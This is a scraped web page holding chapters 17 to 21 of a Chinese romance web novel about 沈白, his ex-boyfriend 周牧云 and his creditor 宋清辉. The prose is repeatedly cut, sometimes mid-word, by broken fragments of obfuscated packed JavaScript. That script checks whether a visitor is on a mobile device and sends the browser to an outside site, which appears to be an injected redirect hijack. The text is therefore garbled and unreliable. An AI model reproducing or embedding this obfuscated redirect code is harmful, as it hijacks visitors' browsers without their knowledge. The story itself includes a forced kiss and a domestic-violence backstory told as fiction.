l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691316|173361||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秒,沈白的声音自他头顶传来。 “我们好像很久没有心平气和的谈过心了。” 周牧云是想开口回应的,可出口的却是破碎不成语调的哽咽。 他后悔了,真的后悔了。 因为亲爹就是个烂赌鬼,周牧云从很小的时候就对赌博这件事情深恶痛绝,离家出走的那天,他曾经对自己发誓,这辈子都不可能会成为他爹那样的人渣,他一定要活出个人样。 可到头来,他还是搞砸了。 他不但将自己的人生搞得一团糟,还将沈白这个世界上唯一在乎他的人也一同拉入了深不见底的深渊。 悔意与无尽的痛苦充斥着周牧云的脑海,可能此时此刻的他是真的后悔了,但一切已经太晚了,他回不了头了。 不止他回不了头,就连沈白也回不了头了。 他们只能到这里了。 “哥,我们刚搬过来这里时,我带你上天台看星星那次你还记得吗,再陪我看一次吧。”周牧云说。 可大概是天意弄人,这天晚上月色在云层的遮掩下变得格外稀薄,夜色浓重,看不到一颗星。 周牧云躺在天台的水泥地上,伸手从兜里摸出一盒皱皱巴巴的烟,想给自己来一根,但打火机可能是在中午和人发生争执的时候蹿出来了,他摸了半天也没摸到。 就在周牧云准备将咬在嘴里的香烟扔掉时,耳边响起了金属摩擦的细微声响。 坐在他身边的沈白点完了烟,将手里的打火机抛给了周牧云。 周牧云接过后,笑了下,道:“我记得你以前不经常抽烟的,最近抽得好凶喔。” 沈白没看周牧云,他仰着头看着漆黑的天,沉默地抽着烟。 “哥,对不起啊。”周牧云道。 他都已经记不清这已经是他在短短几天时间里跟沈白说得第多少次对不起了,短短几天,道过的歉却比他们认识的这几年加起来还要多。 可除了道歉,周牧云已经不知道自己还能跟沈白说什么了。 “其实我知道,你不喜欢我。” “即使我们在一起这么多年,你还是不喜欢我。你当初答应和我在一起,是因为沈宁的事吧。” “我知道喔,其实我什么都知道,只是装作不知道而已。” 说到这里时,周牧云被烟呛了一下,他开始咳嗽,起初只是轻微的压抑着的轻咳,但可能呛得太狠,他越咳越剧烈,咳得眼圈通红,眼泪流出来都没感觉到。 “当初你出事的时候,我的确帮你照顾了沈宁,但你也别把我想得太好了。我这个人啊,跟你不一样,我是那种无利不起早的人。” “我进入社会的时间早,别的方面可能不怎么样,唯独看人的眼光一直很不错。” 周牧云伸手擦了下眼角的泪,缓了缓,才又继续道:“当初你出事,我之所以会照顾沈宁,不是我同情心发作,只是因为我知道,等你回来之后一定会报答我的,事实证明我的确赌对了。” “这烟可真难抽,辣嗓子。”周牧云咕哝一句,停顿了片刻,缓缓总结道,“就算我当年对你有天大的恩情,如今我把你害成这样,你早就不欠我什么了。” “哥,分手我也没什么好祝福你的,我就祝你……” “以后别再遇上我这种人渣了。” 17. 第 17 章 第17章 沈白刚从老式单元楼出来,远远便看到宋清辉站在车边,低垂着头不知道在想些什么。 “宋先生。”沈白走到车跟,冲他打了声招呼。 他身上烟味很重,沈白走过去的时候,还看到他指间夹着半根没抽完的烟。 见沈白过来,宋清辉下意识将烟往身后藏了藏,不过他很快就意识到,这样做不过是自欺欺人,于是索性直接将烟给灭了,随手扔进了旁边的垃圾桶。 “聊完了?”宋清辉打量了沈白几眼,开口道。 沈白点了点头,应道:“嗯。” “分了吗。”宋清辉又问。 沈白被他的刨根问底给弄得有些哭笑不得,但还是很好脾气道:“嗯,已经分开了。” “你的行李就只有这些?”宋清辉低头扫了眼沈白手里拎着的那点东西。 他和周牧云共同生活了四年多,这边的出租屋里很多东西都是两人搬进来之后沈白陆续添置的,不过临到要离开的时候,沈白却没带走什么。 周牧云年轻爱玩爱打扮,房子里原本的衣柜在两人入住不到半年的时候就被填满了,听他抱怨衣柜小,衣服没地方放,沈白在征得房东老太太同意后,自己动手画图纸,将原本的杂物间改成了周牧云的衣帽间,专门给他放衣物。 他对周牧云大方,但对自己却挺节俭的,一年到头也买不了几次衣服,所以走的时候,沈白的衣服少到一个行李箱就装得下。 除了衣物和证件等必需品以外,其他的沈白一样也没有带走,这也就导致他的行李看上去少得有些可怜。 见沈白点头,宋清辉也没再说什么。站在旁边等候已久的司机非常有眼色,不用宋清辉说什么,主动接过沈白手里的行李箱,将其放进了后备箱里。 司机合上后备箱,帮沈白拉开车门,待到两人上车后,这才坐进了驾驶位。 车子缓缓驶出逼仄破旧的老式小区,窗外的景色随着车速加快而逐渐变得有些模糊。 沈白看着窗外快速掠过的景物,不由有些出神。 不过他大脑放空的状态并未持续多久,坐在他身旁的宋清辉开了口,打破了车里的沉默。 “从这里搬出去以后,你有什么打算?” 这个问题沈白其实还真没来得及思考,最近发生的事情,出现的变故实在是太多,几乎将他从原本正常的生活轨道直接扯了下来。 接下来的路往哪走,怎么走,说实话沈白自己也还没有理清头绪。 “先找个房子吧。”沈白说完,停顿了一会儿,才又继续道,“找到房子之后,我打算再去人才市场转转,看看有没有其他能做的兼职。” “赚钱,然后还债。” 沈白就是这样一个人,他好像一直是这样的人。 哪怕今天宋清辉的意思已经表达的很明白,他找上沈白的确有所图谋,他贪图沈白的一切,唯独不图钱。 但沈白还是会还。宋清辉甚至可以预想到沈白接下来会怎么省吃俭用,努力赚钱,力求尽快将那债务还清,然后跟他一刀两断的场景。 这么多年过去了,宋清辉周围的一切都在变,只有沈白,一点也没有变。 他有些恶毒的想,自己还是太心急了。 或许他应该再等一等,等周牧云的债务滚雪球一样越滚越大,数额越滚越高,直到滚到一个沈白终其一生都还不完数字,他再出现就好了。 这样宋清辉就不用在接下来的每一天,都过得提心吊胆。 宋清辉当然知道自己如今的行为无异于饮鸩止渴,但除了这样,他想不出别的办法了。 他没有办法。 沈白见宋清辉沉默不语,犹豫了几秒,还是开口问道:“宋先生,我们现在是要去……” “哪儿”还没有说出口,便被宋清辉打断了。 “你们接过吻吗?” 话题跳转得太快,猝不及防被问了这样的问题,沈白愣了许久才回过神,迟疑着道:“没有。我们之间的情况比较复杂,和一般的情侣不太……” 话音未落,沈白还来不及反应,便觉眼前一黑。 他的眼睛被蒙住了。 蒙在他眼睛上的那只手很凉,掌心还带着些许潮意,沈白甚至能够闻到那人指尖还未来得及消退的淡淡烟草香。 “宋先……”疑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691317|173361||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惑语句尚未出口,沈白感觉有什么覆在了他的唇上,将他那些没来得及出口的疑问全部封缄在了唇齿间。 与遮住他眼睛的那只手触感不同,即便它们也有相似之处,同样冰凉,潮湿,柔软,但沈白知道,那不一样。 宋清辉一只手捂住沈白的眼睛,另外一只手五指张开,深深插-入了沈白的发间,修长白皙又骨节分明的手指与黑色的发形成了鲜明的对比,莫名给人一种诡异的情色感。 他吻得很凶,冰冷的濡湿的舌撬开沈白紧闭的唇,近乎于放肆地掠夺着对方口腔内的空气,根本不给他任何抗拒的时间。 这个吻持续的时间并不长,宋清辉冰凉的手被人给攥住,先是覆盖在眼睛上的那只,紧接着,在他头上作乱的另一只也被抓了下来。 与宋清辉不同,沈白的手很大,温暖又干燥,单手就能钳制住宋清辉的两个手腕。 沈白攥着宋清辉的手腕,将人从身上推开。 尽管他此时已经有些生气,可推开宋清辉时,动作依旧算不上粗鲁,甚至因为担心他头撞到别的地方会受伤,拉开他时还伸手虚虚帮宋清辉挡了一下。 宋清辉看了眼被他钳制到动弹不得的双手,开口道。 “放手。” 大概是刚才那个吻的缘故,宋清辉的声音听上去与平时相比,尾音少了几分利落,多了些许沙哑。 沈白松开手。 虽然他已经控制了力道,但宋清辉的皮肤实在是太白了,与其说是健康的白皙,不如说是近乎于有些病态的苍白。 这就导致他松手之后,宋清辉的手腕上依旧留下了痕迹,起初是因血液不流通而形成的白色印记,但不一会儿的功夫,白皙的手腕上便浮现了一圈醒目的红痕。 沈白抿了抿唇,道:“抱歉。” 宋清辉活动了一下手腕,确定没有伤到骨头,便没再去管那些痕迹。 他偏过头去看沈白,盯着看了片刻后,伸手从旁边抽了张纸巾,递了过去。 “擦一擦。” 经他这么一提醒,沈白有些后知后觉地伸手摸了摸下唇,随后便感觉到了轻微的刺痛感。 流血了。 18. 第 18 章 第18章 康小言看着沈白嘴上的伤口,忍了又忍,到底还是没忍住,开口问道。 “小白哥,你嘴怎么了?” 沈白下意识摸了摸嘴上的伤口,神色有片刻的不自然,随口道:“没事,可能是最近有点上火。” 嘁。 康小言能信这种话才有鬼。他又不是那种不谙世事的傻白甜,这伤口怎么看都不像是上火,反倒是看上去有点像被人咬破的。 不过康小言心里也清楚,再继续刨根问底除了让自己更闹心以外,讨不到任何好处,所以便也没再追问,转而换了个话题。 “哥,你跟小周分手之后住哪儿啊,是不是要重新找房子?”康小言问。 沈白点了点头,道:“在找了,上午约了房东见面,看了之后感觉还可以,价格还在谈,感觉房东要得有点高,中介说再帮我找房东谈谈。” 康小言“噢”了一声,拿过桌上的装辣椒面的调料瓶,往自己面前的碟子里撒了一些,将调料瓶放回原处,他才状似无意地开口道:“哥你要是经济压力实在比较大,考不考虑跟人合租啊?” “这样两个人分担房租,不但更容易找到环境相对好一些的房子,住得能舒服点,而且也能分担点经济压力。” 沈白还真没怎么考虑过跟人合租,因为这样虽然能省一些房租,但是总感觉不太方便,而且他作息不太好,跟人合租担心自己晚上回去太晚会打扰到别人休息。 他现在打工已经挺累了,要是还要抽时间出来处理舍友关系,属实是有点为难沈白了。 “合租还是算了吧,我的情况你也知道,晚上要打工的话,回去太晚,跟人合租不太方便。”沈白摇了摇头,解释道。 “你可以找个和你作息差不多的室友啊哥。” 比如他。 其实如果不是知道自己提出来一定会被沈白拒绝,康小言是想直接让沈白到他家住的,房租他来交,不用沈白去管。 要说康小言这么做没有一点私心,那肯定是骗人的。但是人嘛,又不是神仙,有点小私心那不是很正常嘛。 但康小言其实也没想怎么,毕竟感情这东西又不是勉强就能如愿的,更何况沈白人确实很好,哪怕不是作为对他有好感的对象,只是以朋友的身份,康小言也很想帮他。 但以康小言对沈白的了解,自己要是说免费让他住,沈白肯定不会同意的,所以这才试探着问他考不考虑合租,要是沈白不是很抵触,康小言就能顺理成章的邀请他跟自己一起合租。 “还是算了,一个人住比较自在点。”沈白摇了摇头。 见合租的想法行不通,要说不失望肯定是假的,不过康小言早有心理准备,所以便也没再继续合租的话题。 “那我这边也帮你留意留意,要是有合适的,价格比较低的房子对外出租我再通知你啊哥。”康小言道。 这次沈白没再拒绝他的好意,笑着点头应下了,“谢了啊,小言,最近总让你帮忙,挺不好意思的,等我发工资了请你吃永胜的老火锅。” “说这话可就见外了啊小白哥,当初我怕路伟那王八蛋纠缠的时候,要不是你帮忙,我哪儿还有命活着啊,早被那傻叉打死了。” 路伟是康小言的人渣前男友,也是康小言的初恋。俩人高中的时候就开始谈恋爱了,感情还挺深的,深到路伟大学四年的学费都是康小言打工赚钱给他交的。 一开始路伟好像是直男,康小言觉得是自己把他带上这条路的,所以两人恋爱期间,一直是康小言付出更多些,哪怕路伟身上各种大大小小的毛病不少,他也全都忍了。 但让康小言没想到的是,就算他都已经做到这个地步,路伟那人渣还是劈腿了,而且出轨对象还是个女人。 他拿着康小言给他的钱,转头给那女人付了套房子的首付。 事情败露之后,康小言提出分手,路伟那人渣居然还不答应,不但不答应,还对康小言拳打脚踢,逼着他放弃分手的想法。 路伟说他跟那女人没有感情,就算结婚也只是做给家里人看的,应付应付他爸妈而已,他真正爱的人是康小言。 康小言觉得他简直是个傻叉,但他又打不过这个傻叉,所以那段时间简直是康小言人生当中最黑暗的日子,每一天都过得生不如死。 有好几次康小言都想着,实在不行他就趁着那傻叉睡觉的时候把煤气罐拧开,俩人一起去死算了,这样他也算是为民除害了,省得这傻叉再去祸害人姑娘。 不过他也只是想想,到底还是没有勇气真这么干。 就在康小言都快要认命的时候,沈白居然来家里找他了。 要知道那会儿沈白还在跑代驾呢,俩人根本没有那么熟,也就是偶尔在店里打照面的时候会稍微聊上几句没什么营养的废话,连朋友都算不上呢。 所以当鼻青脸肿的康小言看到沈白的那一刻,惊讶成都不亚于见了鬼。 沈白当时是怎么说得来着,好像是说“好几天没见你去上班,电话也打不通,有点担心你是不是出了什么意外,就跟店里人要了你家的地址,过来看看”。 康小言记得自己当时听到这话,眼泪都快下来了。 他当时已经被路伟给打怕了,担心被路伟发现后连沈白也一起打,所以说了很多难听话让沈白别管自己,赶紧走。 但沈白没走,不但没走,还报了警。 从警察局做完笔录出来,路伟甚至没等回到家就已经迫不及待地想对康小言动手,当时康小言觉得自己这次怕是真要被他给打死,但预期中的疼痛并未袭来。 说实话,在那天之前,沈白给康小言留下的印象一直是温和沉稳,很好说话的一个人,是那种任何人在与他接触后,都很难会对他产生恶感的,真正意义上的好人。 所以当沈白一脚把准备冲他挥拳头的路伟踹翻在地,接着拎着他的领子将人从地上生生拽起来揍的时候,康小言当时整个人都惊呆了。 很难用言语去形容康小言当时的震 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691318|173361||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惊,那天的场面,哪怕时隔多年,他依旧记忆犹新。 那拳头打在了路伟身上,却也打进了康小言心里。 太爽了,爽得康小言头皮发麻。 不过解气归解气,康小言反应过来后还是赶紧上前拦了。不是怕路伟挨打,是怕沈白万一真把这傻叉打出个好歹,再被讹上就麻烦了。 但沈白当时怎么说的来着? 沈白松开被打得半死不活的路伟,他用纸巾擦着手上因打架时拳头不小心蹭到墙上而破皮的伤口,然后抬起头冲康小言笑得和善。 他说,别害怕,我动手有分寸,没事的。 后来康小言才知道,原来沈白在酒吧附近做代驾只是兼职,他真正的工作是在拳馆教小孩子打拳,偶尔也会给有钱人当当陪练。 打架,他真是专业的。 路伟后来不死心又来纠缠过几次,但不知是故意还是巧合,每次他找上门的时候,沈白都刚好在附近。 再然后不知道从什么时候开始,路伟这个人就再没出现在康小言面前。 还是后来过了很长一段时间,有次康小言跟大家一起聚餐的时候,调酒师闫森说漏嘴,康小言才知道,原来沈白私下找过路伟,跟他约过一次架,地点就在沈白任职的那家拳馆。 闫森没说那次谁赢了,但从结果来看,应该是沈白赢了,而且把人给彻底打服了,因为打那之后,路伟那傻叉就彻底消失在了康小言的世界里。 康小言觉得,自己会对沈白有好感实在是太正常了,任何一个人放在他当时的位置上,都很难不对沈白产生好感吧。 像沈白这样的人,喜欢上他,简直就像呼吸一样简单。 即便这段本来他就没报希望的暗恋最后无疾而终,康小言也不会觉得有什么可遗憾的,光是喜欢过这样一个很好的人,对他来说就已经是件挺幸福的事情了。 * 沈白房子找得还挺顺利的。 上午看过房子,第二天中介便打电话过来,说房东答应再降一些租金,问沈白什么时候有时间过来签合同。 沈白扫了辆共享单车就过去了,从签合同、交钱到拿到钥匙,全程只用了不到半个小时的时间。 拿了钥匙的沈白给亮子打了声招呼,在家里打扫了一下午卫生,正琢磨着出门买点生活必需品呢,却忽然听到放在桌上的电话响了。 看了眼是陌生号码,沈白原本没想接,但他手上全是消毒液有点滑,摆弄手机不太方便,不小心点到了接听。 “找好房子了吗?” 电话那端的声音实在是太耳熟了,不是沈白的债主宋先生又能是谁。 “嗯,上午刚签了合同。”沈白开口应道。 “位置发我。” “啊?我这边太乱了,很多东西都还没来得及收拾呢,”说到一半,沈白回过味儿来了,有些哭笑不得道,“宋先生,您该不会是怕我跑了吧?” 宋清辉:“嗯。” “怕你跑了。” 19. 第 19 章 第19章 沈白还以为宋清辉是在开玩笑。 但等他从超市买完东西,拎着大包小包爬楼爬到一半,一抬头就发现自家门口赫然站着个瘦高的人影。 楼道里的窗户很小,又因为常年没有清理的缘故,上面蒙了一层厚厚的灰,遮挡了本就为数不多的光源。 每个楼层原本都有灯,但沈白租住这层的灯泡已经烧了好几天了,沈白在楼下的超市里买了新的灯泡,只是还没来得及换上。 楼道里光线很差,沈白看着站在自己家门口,看上去孤零零有点可怜的人,有些不确定地喊了声:“……宋先生?” 原本低垂着头,好像在发呆的人影,听到沈白的声音,缓缓抬起头,朝他看来。 下一秒,宋清辉的声音在昏暗的楼道间响起,“是我。” “沈白,你去哪里了。” 虽然心里隐隐有所猜测,但在看到宋清辉真出现在自己面前的时候,沈白还是觉得挺震惊的。 沈白晃了晃手里提着的两个塑料袋,道:“刚搬过来,家里好多东西都没没来得及添置,我就去楼下超市买了些必需品。” 说着,沈白拎着东西上了楼。因为手里提着东西的缘故,有些不太方便从兜里拿钥匙,沈白刚准备把东西先放地上,手却突然一空,袋子被人接了过去。 “不用麻烦宋先生,我放地上就可以。”沈白冲他笑了下,但见宋清辉没有放手的意思,便也没在跟他客气,从兜里摸了钥匙出来开门。 大概是房租过于便宜的原因,房东没对房子进行过什么改造和修缮,门锁是那种九十年代挺流行但现在已经被淘汰了的前后两扇的老式防盗门。 前面一层是不锈钢和纱网,后面才是实心木门。 而且房子在沈白租下之前应该已经空置了挺长时间,门锁都有点生锈了,钥匙插-进去拧了半天才把锁拧开。 进了门,沈白打开灯,伸手接过了宋清辉手里的袋子,将其放在了下午刚收拾干净的桌子上,有些尴尬道:“不好意思啊宋先生,我今天刚搬过来,家里比较乱,很多东西都还没来得及收拾。” 与低廉的房租成正比的是,出租屋的环境并不算很好。 房东给沈白留下的东西挺多的,乍一看上去,桌子、柜子、沙发和床都挺齐全,可实际上好多家具都破损的厉害,为数不多几件还算完整的家具也脏得厉害,遍布蛛网,让沈白打扫起来费了不少功夫。 宋清辉环视一周,视线最终重新落在了沈白身上,他问:“你就住这里吗?” “嗯,这边环境虽然比之前租的地方稍微差一些,但是租金便宜了挺多。”沈白回答得很坦然。 本来房东要价月租一千,但中介帮忙砍了砍价,月租就从一千变成了八百,不过房东要求合同得一签三年,如果期间提前退租的话,押金不退。 沈白答应的挺爽快,因为以他目前需要偿还的债务总额来看,短期内还清的概率少得可怜,所以他大概率要在这里生活挺长一段时间了。 “如果我让你和我走,去我安排的住处,你会拒绝吗?”宋清辉问。 沈白愣了下,意识到他话里的意思后,很是干脆道:“抱歉,这不太合适。” 这便是拒绝的意思了。 沈白的答案并没有出乎宋清辉的预料,所以在被拒绝之后,宋清辉的情绪并没有太大波澜。 可宋清辉接下来说的话,却着实把沈白给吓得不轻。 “那好,”宋清辉在那些破破烂烂的家具里,挑挑拣拣了半天,最终选定了一把看上去应该是沈白自己带过来的塑料小板凳,坐下了。 “我也要住在这里,从今天开始。” 这句话直接把沈白给炸懵了,有那么一瞬间,他还以为自己怕不是幻听了,下意识道:“什么?” 宋清辉看着他的眼睛,表情认真,语气淡定道:“我也要住在这里,从今天开始,直到你还清所有的债务为止。” 沈白:“……” 他怕不是疯了。 见沈白不语,神色看上去有些一言难尽,宋清辉却难得好心情地开口,“现在不少欠债人心理素质都不太行,你欠我这么多钱,万一想不开,我不就人财两空了。” 沈白有些无奈,但还是耐心跟他解释道:“您放心,我抗压能力比较强,不会想不开的。” 宋清辉不搭腔,只静静看着他。 两人无声对峙了十几秒,沈白叹了口气,提议道:“您要实在不放心,我可以每天给您打电话报平安,行吗?” “可以,”宋清辉答应得很干脆,可还不等沈白放下心,却听他紧接着又补了一句,“那就这么说定了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691319|173361||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你每天要给我电话,我会在家里等你。” 沈白:“啊?” 不是,这意思是他不但没把人劝走,每天还搭进去一通电话啊? 沈白刚想再说什么,却见宋清辉起身,在屋子里面转了一圈儿,又重新回到客厅,问道:“你这里好像只有一张床,我晚上睡在哪里?” “……宋先生,你确定要住在这里?”沈白的声音听上去有些无奈,但见宋清辉似乎主意已定,而且完全不会改变后,到底还是妥协了。 “床给你睡,我在客厅打地铺。” 既然事情已经无法改变,再纠结也没有任何意义,沈白打开从超市提回来的塑料袋,手脚利落的开始收拾袋子里的刚买的东西。 他买的大多是日用品,洗漱用品、调味料以及锅和碗碟之类的。 床品是前两天在网上买的,图案有点丑,洗的时候还有点掉色,但它纯棉材质,瑕疵款打折只要七十九,所以沈白选择溺爱它。 刚搬家,需要收拾的东西实在是太多了,沈白又是那种做起事情很投入的人,所以忙着忙着就把宋清辉给忘了。 等他收拾完东西,从洗手间洗完手出来抬头一看,发现都已经晚上十点多了。 他晚上还有表演,现在租的地方距离酒吧不算近,通勤时间比以前要久,吃饭肯定是来不及了,好在去超市买日用品的时候顺手买了几个面包能勉强顶一下。 沈白撕开包装,将面包塞进嘴里,拎着自己的吉他准备去上班,走到客厅正要关灯,却发现宋清辉不知道什么时候窝在沙发上睡着了。 即便沈白已经换过了沙发套,但有着明显使用痕迹的破旧沙发依旧和睡在上面的宋先生形成了鲜明的对比。 担心他在沙发上睡会着凉,沈白原本想直接叫醒他,可靠近之后,看到宋清辉眼底的青黑,他犹豫了许久,终究是弯下腰,将人打横抱起来送回了卧室。 看着躺在床上睡得很沉的宋清辉,沈白莫名觉得自己今天换上的那套四件套有点碍眼。 早知道就不贪那点小便宜了。 沈白重新回到客厅,看了眼靠墙的那组沙发,忽然又觉得,这沙发确实太旧了。 或许他明天应该抽时间去趟家具城,换个更像样些的沙发。 沈白这么想着,抬起手,关上了客厅的灯。 20. 第 20 章 第20章 沈白今天晚上原本只有三首歌,但第三首歌唱完他准备下台的时候,服务生小杨忽然跑过来。 “沈哥,有客人点歌,出手挺大方的,你能接吗?” 小杨给沈白大致指了一下客人的位置,压低声音道:“给这个数。” 他伸出手比了个八,意思便是八百。 沈白驻唱的这间酒吧不算是那种特别高端的高消费类型,但也算不上平价,平时会来这边玩的大部分都是手里稍微有点小钱的类型。 酒吧可以点歌,但并不强制要求驻唱歌手必须唱,接不接全凭歌手个人意愿。 不过一般情况下歌手收到点歌大多不会拒绝,毕竟谁会跟钱过不去。 酒吧点一首歌底价是三百,但这个价格只是给个参考,经常会有出手大方的客人主动加价,运气好的话直接翻倍也是常有的事情。 沈白现在正缺钱,按理来说不该拒绝的,不过在顺着小杨的视线看去,发现点歌的是张熟面孔,他还是摇头拒绝了。 小杨觉得有些遗憾,不过俩人认识挺久了,他知道沈白会拒绝那肯定有他自己的理由,所以便也没再劝。 “那行,我去跟客人说。” 沈白换好衣服拎着包刚从休息室出来,便被早就等在休息室门口的人给挡住了去路。 站在门口等沈白的是个大约四十出头的中年男人,西装革履一副干练精英打扮,个子不高,人有些微胖,鼻梁上架着一副金丝边眼镜让他看上去更显精明。 “小沈,我怎么感觉你最近老是躲着我呢?”中年男人开口道,边说边伸手想去揽沈白的肩膀。 早有准备的沈白微微侧身,躲过了男人勾肩搭背的手。 “于先生,您上次来的时候我就已经跟您说得很清楚了,那种事情我不会再做了,劝您也早点收手吧,不然万一哪天又被抓了,您哭都来不及。” 沈白这话说得相当不客气,他也很少会用这种语气跟人讲话,但今天这种情况例外。 听到沈白这话,中年男人脸上的笑意僵了一下,但他很快调整过来,收起笑容,道:“这就不用你费心了,倒是你,我听说你那个小男朋友,叫什么来着?姓周那个……” “是叫周什么云是吧,我听说他在外面欠了不少钱,以我对你的了解,你是肯定不会袖手旁观的吧。”他说着,从随身背着的小方包里拿了两沓钱出来。 “小沈啊,你现在应该挺缺钱吧,咱们这么多年的交情,你以前又叫我一声哥,这点钱就当你于哥给的,拿着吧。” 于锦华说着,直接将那两沓子钱塞进了沈白手里。 谁料沈白根本不领情,没接于锦华给的钱,于锦华这边刚一松手,那两沓百元大钞就掉在了地上,散落了一地。 “于先生,我的事情就不劳您操心了,谁赚钱点都不容易,您的钱还是您自己好好收着吧。” 沈白没打算继续跟他耗在这里浪费时间,有跟于锦华费口舌的功夫,他宁愿早点回去多睡会儿。 见沈白一点面子都不给,于锦华本就不是很好看的脸色彻底沉了下来,他没有弯腰去捡地上的钱,再开口时,语气里已经满是不耐烦,“沈白,你别给脸不要脸。” 沈白却好似没听见似的,拎着自己的东西绕过他径直朝着门口走去。 于锦华未达目的自然不可能让他走,上前几步又一次挡在了沈白面前,压低声音,语气森然道:“沈白,你别忘了你最难那段日子是怎么过来的。” 沈白神色没什么太大波动,语气平静道:“于先生,我当然记得那段日子是怎么过来的,在提醒我的同时,希望您也不要忘记。” “你那会儿才多大?如果不是我把你带进那个圈子,你怎么可能赚到那么多钱给你弟弟治病?” 于锦华嗤笑一声,伸手拍了拍沈白的肩膀,冷笑道:“你为了给他治病差点没了半条命,好不容易凑够钱,谁知道你那个弟弟居然那么不争气,连手术台都没能下……” 话音还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691320|173361||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没落,于锦华就觉眼前一花,一股剧痛袭来,毫无准备的他摇摇晃晃踉跄了几下,身体终是不受控制的朝着地上倒去。 沈白看着捂着肚子蜷缩在地上的于锦华,脸上没有太多愠怒,只是开口时语气里多了几分冷然。 “以前就觉得您嘴臭,没想到这么多年过去了,您还是和以前一样,一点长进都没有。” 于锦华强忍着疼痛抬头看向沈白,道:“你倒是长进不小,起码这张嘴和以前相比,确实是能耐了不少。” “沈白,有时候事情别做得太绝,记住做人留一线的道理,指不定哪天你就又求到我这里来了呢,不过上赶着不是买卖,等真到了那一天,我给你的价钱可就没有现在那么丰厚了。” 他说着,捂着肚子艰难从地上爬了起来,拿出了早已经准备好的名片,塞进了沈白的上衣口袋,用手比了个六放在耳旁,笑容里满怀恶意,道:“我等着你主动打给我的那一天。” * 沈白回到家的时候已经是凌晨两点多了。 他摸出钥匙开了门,习惯性地伸手准备开灯,手都已经摸到开关了,忽然想起来家里不止他一个人,思索几秒,到底是放下了手。 就在沈白轻手轻脚准备去洗手间洗漱一下的时候,耳边忽然传来了一阵脚步声。 “沈白,你回来怎么不开灯?” 客厅的灯光亮起,沈白看到宋清辉双手抱臂,歪着头靠在卧室门口看着他。 他看上去挺清醒的,脸上也看不出什么睡意,瞧着不像是被沈白回来的动静给吵醒的,倒像是已经醒了有一段时间了。 沈白也有些意外,道:“走的时候看你在沙发上睡着了,以为你还在睡,怕打扰到你,就没开了。” 既然他没睡着,沈白的动作便也不用再像之前那么小心了,他将吉他放在了沙发上,走到桌边,拿起桌上的水壶给自己倒了杯水,喝了一口,随口问:“宋先生什么时候醒的?” “你抱我进卧室的时候。” 21. 第 21 章 第21章 沈白因为宋清辉的一句话,被水呛得直咳嗽。 而罪魁祸首的宋先生似乎并没有意识到自己刚才那番话对沈白造成了多大杀伤力,表情依旧淡定自若,波澜不惊。 沈白缓了半天才终于止住咳嗽,他伸手指了指墙上的表,道:“这么晚了,宋先生不困吗?” “有点,”宋清辉在沙发旁坐下,声音难得多了几分平日里很少见的倦怠,“你回来的好晚啊,沈白。” 沈白不知道该怎么接这个话。 沉默了几秒后,沈白苦笑了一下,委婉劝道,“宋先生,我觉得你还是换个别的住处吧,如果你实在担心我会想不开,不然直接派个人来监视我,没必要委屈自己住在这里。” 沈白是真觉得宋清辉跟自己住在这里实在是太委屈他了,人家好歹是个身价不菲的大老板,放着好好的日子不过,非得跟自己挤在这几十平的出租屋里,这又是何苦。 “你要赶我走吗?”宋清辉放下手,原本还算放松的状态立刻变得有些紧绷起来,他本是半倚在沙发上的,听到沈白这话,下意识挺直了脊背,不答反问。 沈白叹了口气,道:“我没有赶你走的意思,我只是觉得……” “那就好,”宋清辉干脆利落地打断道,“我觉得住这里挺好,很安静,也没人打扰。” 沈白心说,这地方偏的跟什么似的,想不安静都难。 这小区好像原本是某个纺织厂的家属楼,后来厂子里效益不好倒闭了,连带着很多原本住在这里的员工及家属都陆续搬走了,愿意留下的大部分都只剩下老人了。 